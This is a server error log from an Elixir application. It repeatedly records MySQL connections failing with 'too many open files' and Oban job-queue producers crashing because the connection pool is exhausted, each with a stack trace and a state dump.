[Sat Sep  5 22:50:20.070000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:22.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:50:14.242139Z], limit: 3, uuid: "e08b515c-6ba4-49bd-abc4-4e95963b8e4c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:14.242198Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237599>, refresh_timer: #Reference<0.2525715032.1121189889.96240>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:26.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:50:14.245309Z], limit: 5, uuid: "049d7667-e7f8-4004-a9d3-37628980fc5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:14.245314Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.220813>, refresh_timer: #Reference<0.2525715032.1077411843.220811>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:50:14.239933Z], limit: 10, uuid: "6768dba6-b354-49b0-85eb-a60d0a8e34a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:14.239940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237597>, refresh_timer: #Reference<0.2525715032.1121189889.96218>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:26.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:50:14.243415Z], limit: 20, uuid: "8b263982-f683-45db-bc6f-daa65167150f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:14.243420Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.220812>, refresh_timer: #Reference<0.2525715032.1077411843.220802>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:50:14.243374Z], limit: 50, uuid: "c77156b4-c4e4-4f7e-892a-0e515dd5416c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:14.243379Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237598>, refresh_timer: #Reference<0.2525715032.1121189889.96278>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:50:14.243052Z], limit: 5, uuid: "6846c2e7-1a1c-43dc-8057-f491ea87493f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:14.243058Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237600>, refresh_timer: #Reference<0.2525715032.1099169794.246165>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:27.747000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:29.972000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:32.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:32.885000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:34.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:34.875000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:35.033000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:50:26.240888Z], limit: 3, uuid: "c5cb20ea-ae78-4de5-9d54-5eab39a64bfe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:26.240894Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237852>, refresh_timer: #Reference<0.2525715032.1077411843.221029>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:50:26.241152Z], limit: 20, uuid: "c35847b3-d2b9-481e-94fc-5b034b91a082", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:26.241158Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237850>, refresh_timer: #Reference<0.2525715032.1099169794.246254>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
